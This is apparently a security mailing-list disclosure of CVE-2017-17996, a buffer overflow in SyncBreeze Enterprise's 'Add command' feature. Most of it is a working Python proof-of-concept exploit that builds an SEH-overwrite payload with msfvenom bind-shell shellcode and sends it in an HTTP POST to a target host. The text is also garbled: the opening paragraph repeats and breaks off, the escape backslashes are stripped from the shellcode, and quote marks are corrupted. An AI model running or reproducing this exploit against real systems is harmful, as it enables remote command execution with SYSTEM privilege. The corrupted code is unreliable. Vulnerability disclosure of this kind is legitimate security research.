Hi List,

Description:

A buffer overflow vulnerability in "Add command" functionality exists in Flexenseas SyncBreeze Enterprise <= 10.3.14. The vulnerability can Hi List,

Description:

A buffer overflow vulnerability in "Add command" functionality exists in Flexenseas SyncBreeze Enterprise <= 10.3.14. The vulnerability can be triggered by an authenticated attacker who submits more than 5000 characters as the command name. It will cause termination of the SyncBreeze Enterprise server and possibly remote command execution with SYSTEM privilege.

Author:

@ryantzj

www.ryantzj.com

Homepage:

http://http://www.syncbreeze.com/

CVE-ID:

CVE-2017-17996 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17996

CVSSv3 Score:

9.9

CVSSv3 Vector

(/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

Proof of Concept

#!/usr/bin/python

import socket


buffsize = 5000

#msfvenom -p windows/shell_bind_tcp LPORT=443 EXITFUNC=seh --bad-chars 'x0dx0ax00x27x22x08x09x1bx5cx5fx25x26x3dx2b' -f python -v shellcode
shellcode = ""
shellcode += "x33xc9x83xe9xaexe8xffxffxffxffxc0x5e"
shellcode += "x81x76x0ex93xfex85x99x83xeexfcxe2xf4"
shellcode += "x6fx16x07x99x93xfexe5x10x76xcfx45xfd"
shellcode += "x18xaexb5x12xc1xf2x0excbx87x75xf7xb1"
shellcode += "x9cx49xcfxbfxa2x01x29xa5xf2x82x87xb5"
shellcode += "xb3x3fx4ax94x92x39x67x6bxc1xa9x0excb"
shellcode += "x83x75xcfxa5x18xb2x94xe1x70xb6x84x48"
shellcode += "xc2x75xdcxb9x92x2dx0exd0x8bx1dxbfxd0"
shellcode += "x18xcax0ex98x45xcfx7ax35x52x31x88x98"
shellcode += "x54xc6x65xecx65xfdxf8x61xa8x83xa1xec"
shellcode += "x77xa6x0exc1xb7xffx56xffx18xf2xcex12"
shellcode += "xcbxe2x84x4ax18xfax0ex98x43x77xc1xbd"
shellcode += "xb7xa5xdexf8xcaxa4xd4x66x73xa1xdaxc3"
shellcode += "x18xecx6ex14xcex96xb6xabx93xfexedxee"
shellcode += "xe0xccxdaxcdxfbxb2xf2xbfx94x01x50x21"
shellcode += "x03xffx85x99xbax3axd1xc9xfbxd7x05xf2"
shellcode += "x93x01x50xf3x9bxa7xd5x7bx6exbexd5xd9"
shellcode += "xc3x96x6fx96x4cx1ex7ax4cx04x96x87x99"
shellcode += "x92x45x0cx7fxf9xeexd3xcexfbx3cx5exae"
shellcode += "xf4x01x50xcexfbx49x6cxa1x6cx01x50xce"
shellcode += "xfbx8ax69xa2x72x01x50xcex04x96xf0xf7"
shellcode += "xdex9fx7ax4cxfbx9dxe8xfdx93x77x66xce"
shellcode += "xc4xa9xb4x6fxf9xecxdcxcfx71x03xe3x5e"
shellcode += "xd7xdaxb9x98x92x73xc1xbdx83x38x85xdd"
shellcode += "xc7xaexd3xcfxc5xb8xd3xd7xc5xa8xd6xcf"
shellcode += "xfbx87x49xa6x15x01x50x10x73xb0xd3xdf"
shellcode += "x6cxcexedx91x14xe3xe5x66x46x45x7bx97"
shellcode += "xa1x14xedx3fx06x43x18x66x46xc2x83xe5"
shellcode += "x99x7ex7ex79xe6xfbx3exdex80x8cxeaxf3"
shellcode += "x93xadx7ax4c"


jmp2 = "xE9x42xFExFFxFF"


payload = aAa*(432-len(shellcode)-20) #eip offset at 436
payload += "x90"*12
payload += shellcode
payload += "x90"*8
payload += "x71x06x70x04" #NSEH, a jump net
payload += "xB1x41x01x10" #SEH
payload += "x90"
payload += jmp2 #jmp back to shellcode
payload +=aCa*(buffsize) #ends at 83 bytes

buffer ="POST /add_command?sid=c5ecca3e01e7d15b0a490fc197f14395 HTTP/1.1 "
buffer +="Host: 192.168.38.154 "
buffer +="Content-Type: application/x-www-form-urlencoded "
buffer +="User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03 "
buffer +=aContent-Length: a+str(len(payload)+13)+" "
buffer +=acommand_name=a+payload

print a[*] Sending evil HTTP request to syncbrza
print a[*] exploited by @ryantzja
print a[*] Please modify session id and target host to get exploit workinga

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((a192.168.38.154a,80))
expl.send(buffer)
print expl.recv(1024)
expl.close


Disclosure Timeline

December 29, 2017 1: Vulnerability acquired by ryantzj

December 30, 2017 2: Informed vendor via support@syncbreeze.com

January 31, 2018 3: Exploit published


Regards,

ryantzj